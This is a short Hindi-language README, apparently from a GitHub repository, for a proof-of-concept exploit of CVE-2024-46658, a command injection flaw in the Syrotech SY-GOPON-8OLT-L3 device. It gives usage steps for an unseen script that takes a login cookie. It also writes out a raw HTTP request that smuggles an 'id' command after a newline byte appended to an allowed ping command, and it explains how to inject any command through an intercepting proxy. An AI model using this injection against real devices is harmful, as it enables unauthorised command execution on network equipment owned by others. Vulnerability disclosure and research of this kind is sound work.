jackalkarlos/cve-2024-46658Syrotech SY-GOPON-8OLT-L3 में कमांड इंजेक्शन भेद्यता के लिए प्रूफ-ऑफ-कॉन्सेप्ट शोषण, HTTP अनुरोध हेरफेर के माध्यम से मनमाना कमांड निष्पादन की अनुमति देता है।
Syrotech SY-GOPON-8OLT-L3 v1.6.0_240629 कमांड इंजेक्शन भेद्यता
1- स्क्रिप्ट में URL संपादित करें।
2- स्क्रिप्ट में Cookie_Login मान संपादित करें।
3- स्क्रिप्ट चलाएं, इससे आप कमांड निष्पादित कर सकेंगे।
GET /cgi/home.php?fun=system&page=shellCMDExec&isajax=1&runtab=1&cmdExec=1&command=ping%208.8.8.8%20-c%204%0aid&random=1725991418844 HTTP/1.1
सामान्यतः, प्रशासन पैनल में केवल ping कमांड को निष्पादित करने की अनुमति होती है।
यदि आप प्रॉक्सी के साथ अनुरोध को इंटरसेप्ट करते हैं, तो command पैरामीटर के अंत में एक नया लाइन बाइट जोड़ें और वह कमांड टाइप करें जिसे आप चलाना चाहते हैं, इससे आप एक और कमांड चला सकेंगे।
Mehmet Demir
